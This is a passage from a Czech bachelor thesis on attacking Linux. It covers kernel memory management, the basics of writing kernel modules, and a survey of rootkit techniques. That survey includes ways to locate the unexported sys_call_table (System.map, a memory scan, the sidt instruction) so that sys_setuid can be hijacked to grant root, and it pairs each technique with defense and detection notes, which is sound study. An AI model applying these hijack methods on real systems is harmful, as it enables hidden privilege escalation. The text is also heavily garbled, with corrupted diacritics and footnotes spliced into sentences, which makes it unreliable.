(a) Pˇrevod logické adresy na lineárn´ı za pouˇzit´ı segmentace. Jelikoˇz segmentace nem˚uˇze být u této architektury vynechána, zavád´ı jádro jen ty nejnutnˇejˇs´ı seg-menty - kódový a datový segment pro jaderný reˇzim a kódový a datový segment pro uˇzivatelský reˇzim. Kódový segment je urˇcen pro ˇcten´ı a spouˇstˇen´ı, datový segment pak pro ˇcten´ı a zápis. Vzhledem k tomu, ˇze se kódový i datový seg-ment na operaˇcn´ım systému Linux plnˇe pˇrekrývaj´ı, jsou data adresována pouze offsetem, at’ uˇz se jedná o jakýkoliv segment. Docház´ı tak k splynut´ı logické a lineárn´ı adresy a k disjunkci vˇsech operac´ı, které maj´ı segmenty nastaveny. Rozd´ıl úrovn´ı oprávnˇen´ı

”jaderných“ a ”uˇzivatelských“ segment˚u vˇsak z˚ustává nadále zachován. Pˇr´ıstup je moˇzný pouze tehdy, pokud úroveˇn oprávnˇen´ı nen´ı menˇs´ı neˇz úroveˇn oprávnˇen´ı daného segmentu.

(b) Pˇrevod lineárn´ı adresy na fyzickou neboli stránku na rámec za pouˇzit´ı stránkován´ı. K pˇrekladu slouˇz´ı horn´ıch 20 bit˚u, které jsou rozdˇeleny na dvˇe ˇcásti po 10 bitech9_{–indexy do dvoj´}_urovˇ_nov´_{eho str´}_{ankovac´ıho mechanizmu. Doln´ıch 12} bit˚u10 je zachováno a tvoˇr´ı posunut´ı ve stránce/rámci. Poloˇzka tabulky stránek obsahuje krom ˇc´ısla rámce jeˇstˇe dalˇs´ı reˇzijn´ı informace. Jedná se napˇr. o právo k zápisu, je-li stránka v operaˇcn´ı pamˇeti, základn´ı kontrola pˇr´ıstupu atd. Chyb´ı moˇznost zakázat spuˇstˇen´ı instrukc´ı. Z výˇse uvedeného vyplývá, ˇze celý virtuáln´ı adresn´ı prostor je pˇr´ıstupný pro ˇcten´ı a spouˇstˇen´ı. ˇCást pak i s moˇznost´ı zápisu. Pˇredevˇs´ım d´ıky stránkován´ı m˚uˇze operaˇcn´ı systém vyuˇz´ıvat svoji operaˇcn´ı pamˇet’ velice efektivnˇe. Umoˇzˇnuje totiˇz spustit nˇekolik proces˚u soubˇeˇznˇe a nahrát pouze ty stránky, které jsou opravdu potˇreba. D´ıky tomu je moˇzné spustit i aplikace, které vyˇzaduj´ı v´ıce pamˇeti, neˇz je skuteˇcnˇe k dispozici. Stránky je moˇzné jednoduˇse sd´ılet, coˇz se vyuˇz´ıvá pˇri mapován´ı knihoven a rychlé meziprocesové komunikaci. Zároveˇn podporuje pˇrenositelnost, nebot’ procesy se ˇzádným zp˚usobem nestaraj´ı o fyzickou organizaci v pamˇeti.

8_{MMU je zkr. Memory management unit.} 9

Adresáˇr nebo tabulka stránek jsou pole s 1024 záznamy. 10

(18)

Rámce stránek

+

RÁMEC OFFSET

+

ADRESÁŘ STRÁNKA OFFSET

0 11 12 21 22 31 0 11 12 21 22 31 Lineární/Virtuální adresa Fyzická adresa Fyzický adresový prostor Tabulka stránek Adresář stránek OFFSET 0 0 31 15 Logická adresa SELEKTOR gdtr/ldtr CPU registr Tabulka deskriptorů

+

cr3 CPU registr S eg m en ta ce S trá nk ov án í

Obr´azek 1.6: Pˇreklad adres

3. Systém soubor˚u. Vycház´ı ze základn´ı myˇslenky Unixu reprezentovat vˇse11jako sou-bor. Vytváˇr´ı t´ım hierarchii abstrakc´ı, tzv. virtuáln´ı souborový systém, nad hardware, nebot’ mus´ı odst´ınit r˚uzné zp˚usoby pˇr´ıstupu k zaˇr´ızen´ım a zohlednit jejich soubo-rový systém. Výsledkem je transparentn´ı pˇr´ıstup pˇres unifikované systémové rozhran´ı. Jemu podˇr´ızené souborové systémy m˚uˇzeme rozdˇelit [2, 3] na tˇri kategorie (obr. 2.3):

11

(19)

• Diskový – spravuje disky a zaˇr´ızen´ı emuluj´ıc´ı jejich chován´ı. Mezi nejtypiˇctˇejˇs´ı souborové systémy tohoto typu patˇr´ı: Ext2, Ext3, ReiserFS (Unix/Linux), FAT, NTFS (Windows), ISO9660, UDF (CD/DVD).

• S´ıt’ový – umoˇzˇnuje pˇr´ıstup k soubor˚um uloˇzeným na jiném s´ıt’ovém poˇc´ıtaˇci. Zástupci: NFS, Coda, AFS (Unix/Linux), CIFS, Samba (Windows), NCP (No-vell).

• Speciáln´ı – zajiˇst’uje pˇr´ıstup k datovým strukturám jádra pomoc´ı obyˇcejných soubor˚u.

4. Správa zaˇr´ızen´ı. Je do znaˇcné m´ıry provázána se souborovým podsystémem. Má za úkol mapován´ı systémových operac´ı na hardwarové periferie pomoc´ı specifického kódu – ovladaˇce zaˇr´ızen´ı. Ten se skládá z datových struktur a funkc´ı, které zaˇr´ızen´ı ovládaj´ı a kontroluj´ı. Mapován´ı vˇetˇsinou prob´ıhá pomoc´ı jedné z dvojice tabulek podle znakové resp. blokové povahy zaˇr´ızen´ı. Plat´ı, ˇze kaˇzdé zaˇr´ızen´ı má sv˚uj ovladaˇc. 5. S´ıt’ován´ı. Tvoˇr´ı spojovac´ı vrstvu pro pˇrenos dat mezi programy a s´ıt’ovou kartou.

S´ıt’ové operace jsou dostupné pomoc´ı tzv. popisovaˇce soubor˚u (angl. file descriptor) a jeho souborových operac´ı. Souborovou reprezentaci s´ıt’ového spojen´ı ale na disku nenajdeme - tvoˇr´ı samostatnou kategorii. Dalˇs´ım rozd´ılem od klasických soubor˚u je, ˇze pˇr´ıchod paket˚u je asynchronn´ı událost, kterou jádro nem˚uˇze v ˇzádném pˇr´ıpadˇe ovlivnit. Celý podsystém s´ıt’ován´ı je navrˇzen dostateˇcnˇe obecnˇe a je nezávislý na pouˇzitém protokolu. V jeden okamˇzik se zpracovává pouze jeden paket. Podpora smˇerován´ı je samozˇrejmost´ı.

1.3 Programov´

an´ı v j´

adˇ

re

Programován´ı v jaderném pamˇet’ovém prostoru s sebou nese m´ırnˇe odliˇsný styl pro-gramován´ı, neˇz na jaký je vˇetˇsina programátor˚u zvyklá z prostoru uˇzivatelského. Jedná se pˇredevˇs´ım o omezen´ı, která vyplývaj´ı z architektury jádra a pˇr´ıpadnˇe samotné hardwarové platformy (podrobnˇeji v [1]):

• Jádro nemá pˇr´ıstup k standardn´ı C knihovnˇe z d˚uvod˚u optimalizace rychlosti a velikosti svého kódu. Nejbˇeˇznˇejˇs´ı a nejd˚uleˇzitˇejˇs´ı knihovn´ı funkce reimplementuje do knihovny vlastn´ı, která je souˇcást´ı zdrojových kód˚u jádra.

• Je napsáno v GNU C a ISO C99, coˇz jsou rozˇs´ıˇren´ı klasického ANSI C. Zat´ımco ISO C99 je oficiáln´ı revize jazyka C, GNU C dovoluje zápisy, které umoˇzˇnuj´ı lépe ovlivnit optimalizaci generovaného kódu. Mezi nejzaj´ımavˇejˇs´ı patˇr´ı:

* Inline funkce. Tyto funkce vkládaj´ı kód funkce do m´ısta, kde by byla funkce volána. Odstraˇnuje reˇzii zp˚usobenou volán´ım funkce a umoˇzˇnuje lepˇs´ı optimali-zaci. Nevýhodou je nar˚ustaj´ıc´ı mnoˇzstv´ı vygenerovaného kódu, nebot’ do kaˇzdého m´ısta volan´ı je zkop´ırována celá funkce. Pouˇzit´ı je tedy pˇredurˇceno pro malé a ˇcasovˇe kritické funkce. Oproti makr˚um nab´ız´ı i komfort typové kontroly.

* Inline assembler. Umoˇzˇnuje vkládat assemblerovské instrukce pˇr´ımo do funkc´ı jazyku C pˇres direktivu asm(). Pouˇz´ıvá se pouze u platformovˇe závislých ˇcást´ı zdrojových kód˚u a zprostˇredkovává kontakt s hardware dané architektury.

(20)

* Direktiva podm´ınˇeného vˇetven´ı pomoc´ı zápis˚u likely() a unlikely(). Zápis

if (likely(a)) { ... }

znaˇc´ı, ˇze a bude témˇeˇr vˇzdy nenulové. Naopak zápis if (unlikely(a)) { ... }

znamená, ˇze a bude nulové témˇe vˇzdy. Tyto zápisy zrychluj´ı provádˇen´ı pˇreloˇzeného kódu v pˇr´ıpadˇe, ˇze je naˇse pˇredpovˇed’ na podm´ınku správná. V opaˇcném pˇr´ıpadˇe kód zpomal´ı.

• Neexistuj´ıc´ı ochrana pamˇeti jaderného prostoru klade mnohem vyˇsˇs´ı nároky na programátorské schopnosti a v pˇr´ıpadˇe detekce chyby vyúst´ı v tzv. oops12 a zasta-ven´ı systému. Pamˇet’ je stránkována, ale k odkládán´ı na disk témˇeˇr nedocház´ı13. Pro-gramátor v jádˇre si mus´ı uvˇedomit, ˇze kaˇzdý spotˇrebovaný byte znamená o byte ménˇe v celé fyzické pamˇeti.

• Jádro pˇri své práci m˚uˇze jen obt´ıˇznˇe pouˇz´ıvat aritmetiku plovouc´ı ˇrádové ˇcárky. D˚uvodem je nemoˇznost odchycen´ı výjimky a následné automatické pˇrepnut´ı z celoˇc´ıselné aritmetiky do aritmetiky plovouc´ı ˇrádové ˇcárky. Pˇr´ıpadné uˇzit´ı jádrem je tak degradováno na manuáln´ı uloˇzen´ı a následnou obnovu vˇsech pouˇzitých registr˚u. • K dispozici je pouze malý statický zásobn´ık. Z tohoto d˚uvodu na nˇem nen´ı moˇzné

alokovat pˇr´ıliˇs velké mnoˇzstv´ı promˇenných. V pˇr´ıpadˇe, ˇze potˇrebujeme pracovat se sloˇzitˇejˇs´ımi datovými strukturami, mus´ıme poˇzádat jádro o pˇridˇelen´ı pamˇeti pomoc´ı funkce kmalloc()14. Na konci své práce pamˇet’ uvoln´ıme pˇres kfree(). Zásobn´ık má na architektuˇre x86 historickou velikost dvou stránek bezprostˇrednˇe za sebou, tedy 8KB. Prvn´ım d˚uvodem byl fakt, ˇze struktura popisuj´ıc´ı aktuáln´ı proces task struct byla na spodn´ı stranˇe jaderného zásobn´ıku15. Druhým, ˇze hardwarové pˇreruˇsen´ı po-uˇz´ıvalo stejný zásobn´ık jako právˇe bˇeˇz´ıc´ı proces. Problémy pˇri hledán´ı dvou stránek bezprostˇrednˇe za sebou na dlouho bˇeˇz´ıc´ım systému pˇrimˇely vývojáˇre vˇetve 2.6 k ˇradˇe zmˇen. Nejd˚uleˇzitˇejˇs´ı jsou um´ıstˇen´ı jednoduˇsˇs´ı struktury thread info na zásobn´ıku a z n´ı vycházej´ıc´ı ukazatel na task struct a vlastn´ı jaderný zásobn´ık pro hardwarové pˇreruˇsen´ı. D´ıky tomu se testuje i pouˇzit´ı stránky jediné.

• Náchylnost jádra k synchronizaˇcn´ım problém˚um jakoˇzto d˚usledek sd´ılen´ı zdroj˚u operaˇcn´ıho systému. Tento problém prohlubuje v´ıceúlohová a v´ıceprocesorová pod-pora. Svoji roli hraje i pˇreruˇsen´ı at’ uˇz v uˇzivatelském nebo novˇe v jaderném prostoru.

ˇ

Reˇsen´ım tˇechto problém˚u jsou semafory a aktivn´ı ˇcekán´ı (angl. spinlock). Nutnost´ı je i pˇredcházet uváznut´ı (angl. deadlock).

12

Nen´ı ˇz´adnou zkratkou n´ybrˇz citoslovce.

13_{Hlavn´ı motivac´ı je rychlost syst´}_{emu. Odloˇ}_ziteln´_{e jsou pouze nˇ}_ekter´_{e pˇ}_{redem definovan´}_{e ˇ}_c´_{asti j´}_{adra jako} napˇr. zásobn´ık jaderných vláken.

14_Jedn´_{a se o analogii funkce malloc(). Nav´ıc obsahuje parametr urˇ}_{cuj´ıc´ı d˚}_uleˇ_{zitost poˇ}_zadavku. 15

Architektura x86 bohuˇzel nemá registr nav´ıc, který by mohla obˇetovat na ukazatel na tuto ˇcasto pouˇz´ıvanou strukturu. Tento nedostatek se kompenzuje um´ıstˇen´ım struktury na konec zásobn´ıku.

(21)

• Jednou z d˚uleˇzitých vlastnost´ı operaˇcn´ıch systém˚u je jejich pˇrenositelnost. Linux d˚uslednˇe oddˇeluje ˇcást kódu, který je platformovˇe závislý16 a ˇcást kódu, který je platformovˇe nezávislý. Pro programátory platformovˇe nezávislých ˇcást´ı to znamená nepˇredpokládat ˇzádnou konkrétn´ı architekturu pˇri psan´ı programového kódu.

• Nemoˇznost pouˇzit´ı konvenˇcn´ıch lad´ıc´ıch n´astroj˚u.

16

(22)

Kapitola 2

Principy ´

utok˚

u na Linux

Kapitola je rozdˇelena do dvou celk˚u s názvy raná éra a modern´ı éra. Prvn´ı zachycuje historické metody útok˚u na uˇzivatelský prostor, druhý souˇcasné zp˚usoby ovládnut´ı prostoru jaderného. Kapitola modern´ı éra pˇrináˇs´ı vlastn´ı klasifikaci útok˚u v chronologickém poˇrad´ı tak, jak se objevovaly v komunitn´ıch ˇclánc´ıch [11, 12, 13, 14, 15, 16] ˇci zdrojových kódech zkoumaných rootkit˚u [17, 18, 19, 20, 21, 22]. Pˇri studiu byl objeven nový princip útoku na rozhran´ı systémových volán´ı, který jsem pojmenoval jako CPU registr idtr (viz kap. 2.2.1 princip ˇc. 5). Vˇedomosti nabyté v této kapitole budou uplatnˇeny v kapitole ˇc. 3, kde budou pouˇzity pro únos systémových sluˇzeb.

Doprovodn´

e programy

Jako praktická ˇcást této bakaláˇrské práce byla navrˇzena sada tˇriceti vlastn´ıch dopro-vodných program˚u (z toho dvacet osm jaderných modul˚u, jeden skript a jedna aplikace). Vznikla tak uniformn´ı mnoˇzina experiment˚u, které jsou rozprostˇreny v následuj´ıc´ım textu. Je na nˇe pr˚ubˇeˇznˇe odkazováno v jednotlivých pododd´ılech a jejich kompletn´ı výˇcet lze nalézt v pˇr´ıloze A. Zdrojové kódy vˇsech doprovodných program˚u lze nalézt na pˇriloˇzeném datovém nosiˇci. Pˇri ˇcten´ı této bakaláˇrské práce je vhodná jejich studie, nebot’ kódy jednotlivých pododd´ıl˚u vystihuj´ı pouze hlavn´ı myˇslenku diskutovaného problému. Zasadit problematiku do funkˇcn´ıho celku je c´ılem právˇe tˇechto doprovodných program˚u.

Pˇriloˇzené moduly maj´ı uniformn´ı strukturu znázornˇenou na stránce 17. Kaˇzdý modul má informativn´ı hlaviˇcku. Následuj´ıc´ı pouˇzité hlaviˇckové soubory a pˇr´ıkazy pro preproce-sor. Pˇr´ıkaz MODULE_LICENSE("Dual BSD/GPL") je nutný pro bezproblémové zaveden´ı mo-dulu do pamˇeti. Samotný kód je ale vázán licenˇcn´ı smlouvou bakaláˇrské práce. Makro #define MODULE_NAME "demo_name" pˇriˇrazuje modulu unikátn´ı název, který se odráˇz´ı i v pojmenován´ı vstupn´ı, výkonné a výstupn´ı funkci. Výkonná (stˇeˇzejn´ı) funkce je pojmenována stejnˇe jako modul a obsahuje pˇr´ıkazy provádˇej´ıc´ı demonstraˇcn´ı kód. Na konci kaˇzdého modulu je nutné vstupn´ı a výstupn´ı funkci zaregistrovat pomoc´ı module_init(fce) a module_exit(fce). Podrobné informace o zp˚usobu zavádˇen´ı modul˚u do jádra lze nalézt v kap. 4.1.1.

Z informativn´ı hlaviˇcky vzorového modulu je patrné, ˇze nutnou podm´ınkou pro úspˇeˇsný bˇeh modulu je architektura IA-32 a Linuxové jádro 2.6.16.59. Pomoc s instalac´ı tohoto jádra pˇrináˇs´ı soubor readme.txt, nacházej´ıc´ı se v koˇrenovém adresáˇri na pˇriloˇzeném do-provodném nosiˇci. V pˇr´ıpadˇe pouˇzit´ı jiného jádra1 ˇci architektury nem˚uˇze být oˇcekávaný výsledek garantován.

1

(23)

/**

* soubor: jmeno.c

* autor: Boris Proch´azka (xproch63@stud.fit.vutbr.cz)

* projekt: bakaláˇrská práce ’Metody útok˚u na operaˇcn´ı systém Linux’

* VUTBR-FIT: ISP, IBP, ISZ

* datum: zima 2007/8, léto 2007/8 * kódován´ı: iso 8859-2

* pˇreloˇzeno: IA-32 (i386), kernel 2.6.16.59, gcc 4.0.3 * licence: Dle licenˇcn´ı smlouvy bakaláˇrské práce

* popis: Struˇcn´y popis funkce. **/

#include <hlavicky.h>

MODULE_LICENSE("Dual BSD/GPL");

MODULE_DESCRIPTION("Strucny popis funkce");

MODULE_AUTHOR("Boris Prochazka (xproch63@stud.fit.vutbr.cz)"); #define MODULE_NAME "demo_name"

/** Výkonný kód. */

static void demo_name(void) {

//--> k´od demonstruj´ıc´ı princip nebo metodu <--}

/** Vstupn´ı funkce modulu. */ static int demo_name_init(void) {

printk(KERN_INFO "Modul "MODULE_NAME" se zavadi do jadra.\n"); demo_name();

printk(KERN_INFO "Modul "MODULE_NAME" zaveden.\n"); return 0;

}

/** V´ystupn´ı funkce modulu. */ static void demo_name_exit(void) {

printk(KERN_INFO "Modul "MODULE_NAME" byl uspesne odstranen z jadra.\n"); return;

}

/** Definice vstupn´ıch/v´ystupn´ıch funkc´ı. */ module_init(demo_name_init);

module_exit(demo_name_exit);

(24)

Moˇ

znosti obrany a detekce

Souˇcást´ı kaˇzdého pododd´ılu je odstavec nesouc´ı název moˇznosti obrany a detekce. Jeho ´

uˇcelem je provést krátké shrnut´ı a diskuzi právˇe nabytých poznatk˚u. Zamˇeˇruje se pˇri tom na zp˚usoby odhalen´ı útoku a moˇznosti prevence jejich vzniku. Informace z odstavce moˇznosti obrany a detekce maj´ı inkrementáln´ı charakter a jsou v pr˚ubˇehu textu doplˇnovány s rozˇsiˇruj´ıc´ımi se vˇedomostmi. V závˇeru práce jsou ty nejd˚uleˇzitˇejˇs´ı struˇcnˇe shrnuty.

2.1 Ran´

a ´

era

Prvn´ı pokusy o nezvan´e

”vylepˇsen´ı“ operaˇcn´ıho systému spadaj´ı do poˇcátku 90. let 20. stolet´ı. V této dobˇe docház´ı ke vzniku základn´ıch pojm˚u jako je rootkit, p˚uvodnˇe znaˇc´ıc´ı sadu upravených administrátorských nástroj˚u. Dnes t´ımto pojmem oznaˇcujeme pˇredevˇs´ım programy, které dokáˇz´ı modifikovat jádro za bˇehu. Název rootkit je odvozen od základn´ı schopnosti pˇridˇelit oprávnˇen´ı uˇzivatele root, tedy maximáln´ı moˇzné oprávnˇen´ı. Tato podka-pitola dotváˇr´ı pohled na bezpeˇcnost operaˇcn´ıch systém˚u jako celku a vzhledem k jej´ı dneˇsn´ı neaktuálnosti j´ı bude vˇenováno pouze minimum prostoru.

2.1.1 Nahrazov´an´ı utilit

Nahrazován´ı utilit je povaˇzováno za nejprimitivnˇejˇs´ı zp˚usob ovládnut´ı systému. V pˇ r´ıpa-dˇe, ˇze útoˇcn´ık nahrad´ı veˇskeré administrátorské programy (ls, ps, top, w, ...) vlastn´ımi, m˚uˇze v jejich výpisech potlaˇcit hláˇsen´ı o svých aktivitách. Útoˇcn´ık má typicky pˇripravené sady pˇredkompilovaných nástroj˚u, spustitelných na konkrétn´ı verzi operaˇcn´ıho systému.

Moˇznosti obrany a detekce

Pro správce systému je nutné pouˇz´ıvat nástroje produkuj´ıc´ı nezkreslené výsledky. Na jejich ochranu m˚uˇze pouˇz´ıt kontroln´ı souˇcty, které se budou pˇred jejich pouˇzit´ım porovnávat2. Dalˇs´ı moˇznost´ı je m´ıt kopii tˇechto nástroj˚u na m´ıstˇe urˇceném pouze pro ˇcten´ı (napˇr. CD).

2.1.2 Nahrazov´an´ı knihoven – preload

Nahrazován´ı jednotlivých utilit je neúmˇernˇe pracné. Nav´ıc se m˚uˇze stát, ˇze na nˇekteré d˚uleˇzité zapomeneme. M˚uˇzeme se tedy pokusit zamˇeˇrit na spoleˇcný programový kód, j´ımˇz jsou knihovny. Vˇetˇsina systémových sluˇzeb je totiˇz volána nepˇr´ımo (viz kap. 1.5). Zmˇenou v knihovnˇe tak m˚uˇzeme ovlivnit chod vˇsech aplikac´ı, které tuto knihovnu pouˇz´ıvaj´ı3. Z po-hledu útoˇcn´ıka jsme tedy poˇrád

”na p˚ul cesty“, nebot’ nemus´ıme postihnout cel´y syst´em. Moˇznosti obrany a detekce

Odhalit parazitn´ı knihovnu m˚uˇzeme studiem namapovaných oblast´ı v souboru /proc/pid/ maps ˇci výpisem slinkovaných souˇcást´ı programem ldd program. Obranou mohou být i staticky zkompilované programy (obsahuj´ı knihovnu vlastn´ı), pouˇzit´ı pˇr´ımého volán´ı jádra (bez asistence knihovny) nebo opˇet kontroln´ı souˇcty.

2_Bezpeˇ_{cnost syst´}_{emu pak z´}_{avis´ı na zabezpeˇ}_{cen´ı kontroln´ıch souˇ}_ct˚_u. 3

(25)

2.2 Modern´ı ´

era

S postupem ˇcasu bylo nutné vymýˇslet nové praktiky, které by útoˇcn´ık˚um zajistily delˇs´ı setrván´ı v napadeném systému. Logickým postupem byl pˇresun stˇredu zájm˚u do jaderného prostoru. Proˇc modifikovat celou ˇradu objekt˚u na disku, kdyˇz stejnou práci m˚uˇze vykonat samotné jádro? Staˇc´ı pouze vhodnˇe modifikovat jeho struktury a funkce tak, aby útoˇcn´ıkovi zajistily poˇzadované vlastnosti. Vzhledem k tomu, ˇze veˇskeré úpravy prob´ıhaj´ı v operaˇcn´ı pamˇeti, moˇznosti detekce jsou ˇrádovˇe komplikovanˇejˇs´ı. Nevýhodou tohoto typu útok˚u je náchylnost k chybám typu race condition4, které mohou v nˇekterých pˇr´ıpadech vést aˇz k nekontrolovatelnému pádu celého systému.

2.2.1 Napaden´ı rozhran´ı systémových volán´ı

Zamˇeˇrme se nyn´ı na pr˚ubˇeh systémového volán´ı. Jiˇz v´ıme, ˇze je vyvoláno z uˇzivatelského prostoru pˇri potˇrebˇe aplikace ˇci knihovny komunikovat se systémem (kap. 1.2.3). Systémová volán´ı jsou rozliˇsována ˇc´ısly a jejich kompletn´ı výˇcet lze nalézt v souboru unistd.h5. Pr˚ubˇeh volán´ı znázorˇnuje obrázek 2.1, kde ˇsipky znamenaj´ı pˇredáván´ı ˇr´ızen´ı mezi funkcemi. Apli-kace je tak v podstatˇe odkázána na informace, které j´ı operaˇcn´ı systém prostˇrednictv´ım svých systémových volán´ı zpˇr´ıstupn´ı. V pˇr´ıpadˇe, ˇze z nich útoˇcn´ık odfiltruje záznamy o svých aktivitách, stává se z pohledu uˇzivatele prakticky neodhalitelný.

read() wrapper call read() Aplikace Knihovna Uživatelský prostor sys_read() system_call() Rutina systémového volání Obslužná rutina Jaderný prostor

Obrázek 2.1: Diagram systémového volán´ı

Cesta do hlubin jádra zaˇc´ıná (na architektuˇre IA-32 v Linuxu) vyvolán´ım softwarového pˇreruˇsen´ı int $0x80. Ta zp˚usob´ı výjimku a následné pˇrepnut´ı systému do jaderného pro-storu. Z tabulky pˇreruˇsen´ı, jej´ıˇz zaˇcátek urˇcuje procesorový registr idtr, je zavolána jaderná funkce. Ta má v naˇsem pˇr´ıpadˇe ˇc´ıslo 0x80–rutina systémového volán´ı6. Pro identifikaci konkrétn´ı obsluˇzné rutiny slouˇz´ı registr eax. Rutina systémového volán´ı zkontroluje plat-nost pˇredané hodnoty v registru eax a v pˇr´ıpadˇe úspˇechu vyvolá konkrétn´ı obsluˇznou rutinu, kterou touto hodnotou v tabulce systémových volán´ı identifikuje. Pˇredáván´ı parametr˚u je zajiˇstˇeno pˇres ostatn´ı procesorové registry7ebx, ecx, edx, esi, edi a ebp. V pˇr´ıpadˇe vyˇsˇs´ıch nárok˚u na mnoˇzstv´ı parametr˚u je moˇzné jeden z registr˚u pouˇz´ıt jako ukazatel na sloˇzitˇejˇs´ı

4

Je synchronizaˇcn´ı problém nazývaný jako soubˇeh. Nastává pˇri nekontrolovaném pˇr´ıstupu ke sd´ıleným prostˇredk˚um.

5

Zdrojové kódy jádra include/asm/unistd.h.

6_{Od procesoru Intel Pentium II se v instrukˇ}_{cn´ı sadˇ}_{e nach´}_{az´ı nov´}_{a instrukce sysentr. Jedn´}_{a se o instrukci} urychluj´ıc´ı proces vyvolán´ı systémové rutiny. V jádˇre je podporována od verze 2.6.

7_Pˇ_red´_av´_{an´ı pˇ}_{res z´}_{asobn´ık nen´ı z d˚}_uvod˚_{u zmˇ}_{eny z uˇ}_zivatelsk´_{eho na jadern´}_{y z´}_{asobn´ık moˇ}_zn´_{e. Z´}_aroveˇ_{n je} pˇred´av´an´ı pˇres registry nejrychlejˇs´ı.

(26)

datovou strukturu. K pˇrepnut´ı zpˇet do uˇzivatelského prostoru se provede instrukc´ı iret8_. Návratová hodnota je vˇzdy vrácena v registru eax. Kompletn´ı schéma pr˚ubˇehu systémové volán´ı zachycuje obrázek 2.2.

Tabulka přerušení divide_error debug ... system_call 0x80 … 0x01 0x00 Tabulka systémových volání sys_restart_syscall sys_exit sys_fork sys_read 3 2 1 0 sys_write 4 ... ... ... mov $0x3,%eax int $0x80 ... Aplikace/ Knihovna system_call: pushl %eax SAVE_ALL … cmpl $(nr_syscalls), %eax jae syscall_badsys … call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) … RESTORE_REGS addl $4, %esp iret Rutina systémového volání asmlinkage ssize_t sys_read (unsigned int fd, char __user * buf, size_t count) { struct file *file; ssize_t ret = EBADF; … return ret; } Obslužná rutina idtr CPU registr

Obrázek 2.2: Schéma pr˚ubˇehu systémového volán´ı

Na tomto m´ıstˇe je nutné zd˚uraznit, ˇze doˇslo k pˇrepnut´ı z uˇzivatelského prostoru do jaderného a naopak (kap. 1.2.3). Kontextová závislost na procesu vˇsak z˚ustala po celou dobu zachována9.

Pˇredt´ım, neˇz se pust´ıme do samotných útok˚u, mus´ıme si zvolit systémovou sluˇzbu, proti které budeme útoky testovat. Za jednoho z nejvhodnˇejˇs´ıch kandidát˚u m˚uˇzeme povaˇzovat systémové volán´ı sys setuid(), které nastavuje efektivn´ı ID bˇeˇz´ıc´ıho procesu. Jedná se o jednoduchou funkci s minimem postrann´ıch efekt˚u. Jej´ı nejd˚uleˇzitˇejˇs´ı ˇcást shrnuje n´ asle-duj´ıc´ı kód:

asmlinkage long sys_setuid(uid_t uid) {

int old_ruid, old_suid, new_ruid, new_suid; ..

if (capable(CAP_SETUID)) { //Máme právo zmˇenit úroveˇn oprávnˇen´ı procesu? ..

new_suid = uid; //Nov´e opr´avnˇen´ı }

current->suid = new_suid; //Nastaven´ı nov´eho opr´avnˇen´ı bˇeˇz´ıc´ıho procesu }

8

Nebo komplement´arn´ı instrukc´ı k sysentr instrukc´ı sysexit. 9

(27)

Current je makro, které je pˇrekladem nahrazeno funkc´ı get current(). Ta vrac´ı uka-zatel na strukturu task struct, která popisuje právˇe bˇeˇz´ıc´ı proces. Naˇs´ım c´ılem bude tuto funkci modifikovat tak, aby po vyvolán´ı naˇs´ım programem s vhodným parametrem uid, pˇredala tomuto procesu nejvyˇsˇs´ı moˇzná práva. Budeme k tomu pouˇz´ıvat program uvedený jako ˇc´ıslo i v pˇr´ıloze A, který tuto sluˇzbu pˇr´ımo vyvolává.

Nyn´ı se pokus´ıme identifikovat zranitelná m´ısta. Poˇrad´ı je chronologicky uspoˇrádané. 1. Tabulka systémových volán´ı

Nejjednoduˇsˇs´ı a po dlouhou dobu nejpouˇz´ıvanˇejˇs´ı zp˚usob útoku byla úprava záznamu v tabulce systémových volán´ı. Jedná se v podstatˇe pouze o vloˇzen´ı vlastn´ı funkce pˇred obsluˇznou rutinu popˇr. jej´ı kompletn´ı nahrazen´ı. V dneˇsn´ı dobˇe je situace m´ırnˇe zkom-plikována snahou jaderných vývojáˇr˚u proˇcistit jaderné rozhran´ı a z toho d˚uvodu jiˇz symbol sys call table veˇrejnˇe neexportuj´ı. To nám vˇsak nebrán´ı si adresu zaˇcátku tabulky v pamˇeti nalézt svépomoc´ı. M˚uˇzeme k tomu pouˇz´ıt nˇekterý z n´ıˇze uvedených zp˚usob˚u:

• System.map

K tomu, aby se jádro dalo pˇri ladˇen´ı analyzovat, mus´ı nˇekde udrˇzovat seznam svých symbol˚u, tzv. systémovou mapu. Ta obsahuje seznam funkc´ı a promˇenných spolu s jejich adresami. Pro útoˇcn´ıka se jedná o nesm´ırnˇe cenný materiál a z to-hoto d˚uvodu ho administrátoˇri na produkˇcn´ıch stanic´ıch typicky nepouˇz´ıvaj´ı. Demonstraˇcn´ı skript, který se pokus´ı vyhledat adresu symbolu sys call table v souboru System.map, je pod ˇc´ıslem ii v pˇr´ıloze A.

• Heuristika

Dalˇs´ı moˇznost´ı je vyhledán´ı tabulky systémových volán´ı v datové oblasti jádra. Pro spolehlivou identifikaci budeme potˇrebovat znát adresy funkc´ı jej´ıch poloˇzek. V d˚usledku jiˇz zmiˇnovaných zmˇen v rozhran´ı je nyn´ı exportován pouze sym-bol sys close(), jehoˇz pouˇzit´ı dává nejednoznaˇcné výsledky. Jádro naˇstˇest´ı z d˚uvod˚u snazˇs´ıho ladˇen´ı poskytuje soubor /proc/kallsyms10, který obsahuje i symboly, které nejsou v jaderném prostoru exportovány. Jejich analýzou a následném pˇredan´ı modulu ˇc. iii (pˇr´ıloha A) v podobˇe parametr˚u jiˇz dostáváme uspokojuj´ıc´ı výsledek. Pr˚uchod pˇres datovou ˇcást jaderného prostoru a následný test na výskyt tabulky znázorˇnuje následuj´ıc´ı kód:

for (inspected_address = ((init_mm.end_code + 4) & 0xfffffffc); inspected_address < init_mm.end_data;

inspected_address += sizeof(void *)) {

if (sys_call_table_hit(inspected_address)) { NALEZENO! } }

• Trasov´an´ı

Posledn´ı metoda vyuˇz´ıvá znalosti c´ılové architektury a implementace rozhran´ı systémových volán´ı v jádˇre. Zavolán´ım instrukce sidt11 _{zjist´ıme um´ıstˇ}_en´ı ta-bulky pˇreruˇsen´ı. V n´ı pomoc´ı indexu 0x80 nalezneme pˇr´ısluˇsný záznam, který jiˇz obsahuje adresu rutiny systémového volán´ı. Adresa rutiny systémového volán´ı se nacház´ı v promˇenné system call po vykonán´ı tohoto kódu:

10_J´_{adro mus´ı b´}_{yt s touto podporou (CONFIG KALLSYMS) zkompilov´}_ano. 11

(28)

asm ("sidt %0" : "=m" (idtr)); //Zisk adresy tabulky pˇreruˇsen´ı idt_system_call = &((struct idt_descriptor *)idtr.idt_table)[0x80]; system_call = ((idt_system_call->offset31_16 << 16) |

